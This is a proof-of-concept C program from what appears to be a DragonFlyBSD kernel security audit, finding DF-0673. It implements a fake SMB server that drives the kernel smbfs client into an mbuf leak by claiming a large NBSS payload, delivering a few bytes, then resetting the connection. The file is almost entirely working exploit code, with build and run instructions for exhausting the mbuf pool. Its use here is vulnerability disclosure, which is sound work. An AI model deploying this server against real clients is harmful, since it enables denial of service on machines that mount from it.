DragonFlyBSD Kernel Audit
DF-0673 / fake_smb_server.c
← back to finding ↓ download raw
/*
 * DF-0673 PoC: nbssn_recv mbuf leak.
 *
 * Fake NBSS+SMB server that drives the kernel SMB client (smb_iod ->
 * SMB_TRAN_RECV -> nbssn_recv) into the leak by:
 *   1. Accepting a NBSS SESSION_REQUEST, replying positive.
 *   2. Reading the SMB NEGOTIATE request, sending a minimal valid response.
 *   3. Sending a NBSS SESSION MESSAGE header claiming a large payload,
 *      delivering only a few bytes, then RST'ing the connection.
 *
 * Result: soreceive in nbssn_recv returns a non-retry error (ECONNRESET)
 * with partial data in sio.sb_mb; outer `if (error) break;` at line 352-353
 * exits the loop; cleanup at :367-373 (only runs when error==0) is skipped;
 * the partial mbuf chain is leaked. The smb_iod_recvall loop then retries,
 * each round potentially re-leaking. Sustained, this exhausts the mbuf pool.
 *
 * Build: cc -o fake_smb_server fake_smb_server.c
 * Run as root on the guest (need port 139):
 *   ./fake_smb_server &
 *   netstat -m > /tmp/before
 *   mount_smbfs -N -I 127.0.0.1 //g@localhost/x /mnt 2>/dev/null
 *   netstat -m > /tmp/after
 *   diff /tmp/before /tmp/after   # show mbuf/cluster delta
 *
 * Threat model: malicious SMB server. The trigger fires whenever a client
 * mounts from this server. Realistic preconditions: smbfs.ko loaded.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#define PORT 139

static ssize_t read_exact(int fd, void *buf, size_t n) {
    size_t got = 0;
    char *p = buf;
    while (got < n) {
        ssize_t r = read(fd, p + got, n - got);
        if (r <= 0) return r;
        got += r;
    }
    return got;
}

static int handle(int c) {
    unsigned char hdr[4];
    if (read_exact(c, hdr, 4) != 4) { printf("[srv] short hdr\n"); return -1; }
    unsigned mt = hdr[0];
    unsigned len = ((hdr[1] & 0x01) << 16) | (hdr[2] << 8) | hdr[3];

    if (mt != 0x81) { printf("[srv] not session req (0x%02x)\n", mt); return -1; }
    char junk[256];
    while (len > 0) {
        size_t n = len > sizeof(junk) ? sizeof(junk) : len;
        if (read_exact(c, junk, n) != (ssize_t)n) return -1;
        len -= n;
    }
    /* positive session response */
    unsigned char resp[4] = {0x82, 0, 0, 0};
    write(c, resp, 4);
    printf("[srv] sent positive session response\n");

    /* read SMB negotiate */
    if (read_exact(c, hdr, 4) != 4) return -1;
    len = ((hdr[1] & 0x01) << 16) | (hdr[2] << 8) | hdr[3];
    char *neg = malloc(len);
    if (!neg) return -1;
    if (read_exact(c, neg, len) != (ssize_t)len) { free(neg); return -1; }
    printf("[srv] got SMB negotiate (%u bytes)\n", len);

    /* send a minimal SMB negotiate response. We don't need the kernel to be
     * happy with it; just enough to advance state. Then trigger the leak. */
    unsigned char smb[64];
    memset(smb, 0, sizeof(smb));
    /* \xffSMB cmd=0x72 */
    memcpy(smb, "\xffSMB", 4);
    smb[4] = 0x72; /* negotiate response */
    /* rest zero (status ok, flags, etc.) */
    /* body: dialect_index(2), secmode(1), maxmpx(2), maxvc(2), maxbuf(4),
     * maxraw(4), skey(4), cap(4), systime(8), svctime(2), bc(2) = 35B */
    int body_len = 35;
    /* set a few non-zero fields: dialect_index=0 */
    smb[32] = 0; smb[33] = 0;
    unsigned char out_hdr[4] = {0x00, 0, 0, 0};
    out_hdr[2] = (sizeof(smb) + body_len) >> 8;
    out_hdr[3] = (sizeof(smb) + body_len) & 0xff;
    write(c, out_hdr, 4);
    write(c, smb, sizeof(smb));
    char extra[64] = {0};
    write(c, extra, body_len > (int)sizeof(smb) ? body_len - sizeof(smb) : 0);
    printf("[srv] sent negotiate response\n");

    usleep(200000);

    /* Now send a NBSS message header claiming N bytes, deliver ~50, RST. */
    int claimed = 4000;
    unsigned char lie[4] = {0x00, 0, (claimed >> 8) & 0xff, claimed & 0xff};
    write(c, lie, 4);
    char data[50] = {0};
    write(c, data, sizeof(data));
    printf("[srv] sent msg hdr claiming %d, delivered %zu bytes\n", claimed, sizeof(data));

    /* RST close */
    struct linger l = {1, 0};
    setsockopt(c, SOL_SOCKET, SO_LINGER, &l, sizeof(l));
    close(c);
    printf("[srv] closed (RST)\n");
    return 0;
}

int main(void) {
    signal(SIGPIPE, SIG_IGN);
    int s = socket(AF_INET, SOCK_STREAM, 0);
    int one = 1;
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    struct sockaddr_in sa = {0};
    sa.sin_family = AF_INET;
    sa.sin_port = htons(PORT);
    sa.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
        perror("bind"); return 2;
    }
    if (listen(s, 5) < 0) { perror("listen"); return 2; }
    printf("[srv] listening on 127.0.0.1:%d\n", PORT);
    /* serve 8 connections then exit so the test script can finish */
    for (int i = 0; i < 8; i++) {
        int c = accept(s, NULL, NULL);
        if (c < 0) { perror("accept"); continue; }
        printf("[srv] accepted conn %d\n", i);
        if (handle(c) < 0) printf("[srv] handle err\n");
        close(c);
    }
    close(s);
    return 0;
}